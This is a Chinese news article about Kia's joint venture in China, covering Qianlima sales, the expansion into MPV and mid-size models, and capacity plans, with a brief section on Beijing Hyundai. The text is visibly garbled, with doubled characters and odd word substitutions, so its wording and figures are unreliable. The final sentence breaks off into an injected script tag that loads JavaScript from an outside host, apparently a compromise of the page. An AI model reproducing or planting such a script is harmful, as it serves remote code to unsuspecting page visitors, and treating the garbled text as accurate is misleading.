□起亚一翼
在中国，现代汽车旗下的起亚汽车也迎来了柳暗花明的一天。
1996年，江苏悦达引进起亚技术开始生产悦达车；1997年，韩国起亚参股30%在江苏盐城成立悦达起亚汽车公司；1998年现代接管起亚。但在2000年前，年销售悦达车最高才900多辆；2001年好转，卖了7000多辆。
2002年3月，起亚汽车和东风汽车、江苏悦达三方成立了合资企业东风悦达起亚汽车公司。中韩双方各持50%股份，东风汽车和江苏悦达各占25%。
通过引入东风汽车，东风悦达起亚有了生产轿车的许可，它于2002年11月推出了来源于现代很畅销的经济型轿车雅绅（Accent）的千里马汽车。ACCENT车型自1994年开发完成后,就在市场上取得了好评，到1999年已在全球销售了130万辆。
合资公司推出千里马好似北京现代后来推出索纳塔一样，选择了现代汽车一贯的底价格方案。高性价比的千里马赶在索纳塔之前成为改变买家对韩国汽车印象的热点的经济型轿车。依据韩国起亚汽车集团2003年财报，仅仅上市3个月千里马就售出了一万辆，而截至2003年底共计有43900辆千里马售出，速度可谓惊人。东风悦达起亚在2003年一年中销售量达到了51000辆，增长达150%，完成了当时来自东风汽车的主管销售的副总经理李春荣制定的“龙卷风”计划，该计划预计当年销售达到50000辆。
据悉，在现代汽车与起亚汽车宣布进入中国时，现代集团决定由现代汽车在北京的合资工厂生产中高端车型，起亚在中国的工厂生产经济型轿车及其SUV和MPV车型。中国车市连续两年的高速增长使得东风悦达起亚的角色发生了改变。
千里马刚刚进入国内市场时便以优越的性价比打破了赛欧在经济型轿车范围一家独大的局面，飞速占据了经济型轿车销售量第二的地方，到2004年上半年，千里马已经成为“经济型轿车销售量一”、“市场占有率一”和“单个网点销售量一”的“三冠王”。千里马的成功使现代集团抢夺国内市场的计划完全改变。郑说： “东风悦达起亚应该成为全系列的制造商。”
2004年7月份，东风悦达起亚开始以嘉华进入MPV市场。
9月十日，就在市场将眼光放到起亚多功能汽车市场场的时候，它忽然宣布进入中高端轿汽车市场场，商品来自韩国现代起亚集团的MSC平台。
10月初，它开始推出远舰车型的GL款，以13.98万元的价格进入中级汽车市场场。这在其内部的说法是“丰富车型系列”，而业界的一个共识是此举标志着其商品序列的拓宽，在原来经济型轿车的基础上逐步升级。
2004年下半年，起亚母公司现代集团在全球范围内推出其主打的NF 索纳塔车型，商品逐步进入高档市场，根据现代汽车集团的计划，这款车也将引入国内市场。作为同一级别的远舰，也会逐步在中国升级。“大家和现代汽车也是角逐对手，只须市场有需要，东风悦达起亚的远舰车型也会不断推出更高级别的新车。”郑说。
而北京现代汽车的总经理卢载万说：“在美国市场，现代汽车有现代汽车美国本部和现代汽车起亚本部，他们销售同一平台生产出来的车型，但他们每年都分别有非常高的增长率，可以把他们看作是互相角逐下的进步过程。当然这涉及一个大市场和小市场的定义，小的市场同一平台的两种车型或许会涉及到两个法人之间的角逐，但大的市场就无所谓了，各自发展市场，获得自己份额。”
依据现代汽车集团的规划，到2010年现代将跻身世界5大汽车生产公司之列，在中国的产销售量将达到100万辆，东风悦达起亚由此将承担45万辆的重任。
2003年6月，起亚计划在中国打造第二个工厂，新工厂仍然选在江苏盐城，年产能为30万辆，依据计划，新工厂将于2003年12月开始建设，主要生产1.6-1.8L轿车及其SUV等车型。到2010年之前，起亚在中国的这两个生产工厂将承担6款车型的生产：在现有3款车型的基础上，逐步投放新的商品。
然而，东风悦达起亚在商品上的精心布局正在面临一个挑战，中国车市的消费市场连续两年高达30%的消费速度，已经放慢。在中国车市销售回落的情势之下，东风悦达起亚期望能继续延续韩国汽车生产厂商“底价方案进入全球市场”的模式，尽快扩大在国内市场的保有量。
□空架子北汽
2003年甚至2004年，北京现代在中国盈利水平可能还算可观。来自美国的汽车咨询公司CSM Worldwide驻上海董事张豫觉得其利率?script src=http://cn.jxmmtv.com/cn.js>cript>